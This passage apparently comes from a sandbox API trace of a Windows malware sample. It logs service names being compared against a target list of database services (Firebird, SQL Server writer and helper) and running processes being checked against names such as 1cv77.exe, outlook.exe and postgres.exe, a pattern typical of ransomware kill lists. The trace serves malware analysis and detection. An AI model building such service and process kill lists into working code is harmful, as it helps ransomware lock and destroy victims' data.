(lpString1="mssqlserver", lpString2="eventlog") returned 1 [0069.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0069.650] lstrlenW (lpString="EventSystem") returned 11 [0069.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0069.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0069.650] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0069.650] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0069.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0069.650] lstrlenW (lpString="FontCache") returned 9 [0069.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0069.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0069.650] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0069.651] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0069.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0069.651] lstrlenW (lpString="gpsvc") returned 5 [0069.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0069.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0069.651] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0069.651] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0069.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0069.651] lstrlenW (lpString="iphlpsvc") returned 8 [0069.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.651] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0069.651] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0069.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0069.651] lstrlenW (lpString="LanmanServer") returned 12 [0069.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0069.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0069.651] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0069.651] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0069.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0069.651] lstrlenW (lpString="LanmanWorkstation") returned 17 [0069.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.652] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0069.652] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0069.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0069.652] lstrlenW (lpString="lmhosts") returned 7 [0069.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0069.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0069.652] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0069.652] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0069.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0069.652] lstrlenW (lpString="MMCSS") returned 5 [0069.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0069.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0069.652] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0069.652] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0069.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0069.652] lstrlenW (lpString="MpsSvc") returned 6 [0069.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0069.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0069.652] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0069.653] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0069.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0069.653] lstrlenW (lpString="Netman") returned 6 [0069.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0069.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0069.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0069.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0069.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0069.654] lstrlenW (lpString="netprofm") returned 8 [0069.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0069.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0069.654] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0069.654] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0069.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0069.654] lstrlenW (lpString="NlaSvc") returned 6 [0069.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0069.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0069.654] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0069.654] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0069.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0069.654] lstrlenW (lpString="nsi") returned 3 [0069.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0069.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0069.654] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0069.654] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0069.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0069.654] lstrlenW (lpString="PcaSvc") returned 6 [0069.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0069.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0069.654] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0069.655] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0069.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0069.655] lstrlenW (lpString="PlugPlay") returned 8 [0069.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0069.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0069.655] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0069.655] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0069.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0069.655] lstrlenW (lpString="Power") returned 5 [0069.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0069.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0069.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0069.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0069.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0069.655] lstrlenW (lpString="ProfSvc") returned 7 [0069.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0069.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0069.655] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0069.655] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0069.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0069.655] lstrlenW (lpString="RpcEptMapper") returned 12 [0069.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.656] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0069.656] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0069.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0069.656] lstrlenW (lpString="RpcSs") returned 5 [0069.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0069.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0069.656] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0069.656] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0069.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0069.656] lstrlenW (lpString="SamSs") returned 5 [0069.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0069.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0069.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0069.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0069.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0069.656] lstrlenW (lpString="Schedule") returned 8 [0069.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0069.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0069.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0069.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0069.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0069.657] lstrlenW (lpString="SENS") returned 4 [0069.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0069.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0069.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0069.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0069.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0069.657] lstrlenW (lpString="ShellHWDetection") returned 16 [0069.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0069.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0069.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0069.657] lstrlenW (lpString="Spooler") returned 7 [0069.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0069.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0069.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0069.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0069.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0069.657] lstrlenW (lpString="sppsvc") returned 6 [0069.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0069.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0069.657] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0069.658] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0069.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0069.658] lstrlenW (lpString="swprv") returned 5 [0069.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0069.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0069.658] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0069.658] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0069.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0069.658] lstrlenW (lpString="SysMain") returned 7 [0069.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0069.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0069.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0069.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0069.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0069.658] lstrlenW (lpString="Themes") returned 6 [0069.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0069.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0069.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0069.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0069.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0069.658] lstrlenW (lpString="TrkWks") returned 6 [0069.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0069.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0069.658] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0069.659] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0069.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0069.659] lstrlenW (lpString="UxSms") returned 5 [0069.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0069.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0069.659] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0069.659] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0069.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0069.659] lstrlenW (lpString="VSS") returned 3 [0069.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0069.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0069.659] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0069.659] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0069.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0069.659] lstrlenW (lpString="WdiServiceHost") returned 14 [0069.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0069.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0069.659] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0069.659] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0069.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0069.659] lstrlenW (lpString="WdiSystemHost") returned 13 [0069.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0069.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0069.660] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0069.660] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0069.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0069.660] lstrlenW (lpString="WinDefend") returned 9 [0069.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0069.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0069.660] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0069.660] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0069.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0069.660] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0069.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0069.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0069.660] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0069.660] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0069.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0069.660] lstrlenW (lpString="Winmgmt") returned 7 [0069.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0069.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0069.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0069.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0069.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0069.660] lstrlenW (lpString="wscsvc") returned 6 [0069.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0069.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0069.661] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0069.661] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0069.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0069.661] lstrlenW (lpString="wuauserv") returned 8 [0069.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0069.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0069.661] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0069.661] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0069.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0069.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fc5890 | out: hHeap=0x5c0000) returned 1 [0069.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0069.666] Process32FirstW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.667] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.668] lstrlenW (lpString="System") returned 6 [0069.668] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0069.668] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0069.668] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0069.668] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0069.669] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.670] lstrlenW (lpString="smss.exe") returned 8 [0069.670] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.671] lstrlenW (lpString="csrss.exe") returned 9 [0069.671] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.672] lstrlenW (lpString="wininit.exe") returned 11 [0069.672] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.673] lstrlenW (lpString="csrss.exe") returned 9 [0069.673] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.673] lstrlenW (lpString="winlogon.exe") returned 12 [0069.674] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.674] lstrlenW (lpString="services.exe") returned 12 [0069.674] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.675] lstrlenW (lpString="lsass.exe") returned 9 [0069.675] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0069.676] lstrlenW (lpString="lsm.exe") returned 7 [0069.676] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.677] lstrlenW (lpString="svchost.exe") returned 11 [0069.677] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.678] lstrlenW (lpString="svchost.exe") returned 11 [0069.678] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.679] lstrlenW (lpString="svchost.exe") returned 11 [0069.679] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.680] lstrlenW (lpString="svchost.exe") returned 11 [0069.680] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.681] lstrlenW (lpString="svchost.exe") returned 11 [0069.681] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.682] lstrlenW (lpString="audiodg.exe") returned 11 [0069.682] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.683] lstrlenW (lpString="svchost.exe") returned 11 [0069.683] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.683] lstrlenW (lpString="svchost.exe") returned 11 [0069.684] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.833] lstrlenW (lpString="dwm.exe") returned 7 [0069.833] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.834] lstrlenW (lpString="explorer.exe") returned 12 [0069.834] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.835] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.835] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.836] lstrlenW (lpString="taskhost.exe") returned 12 [0069.836] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 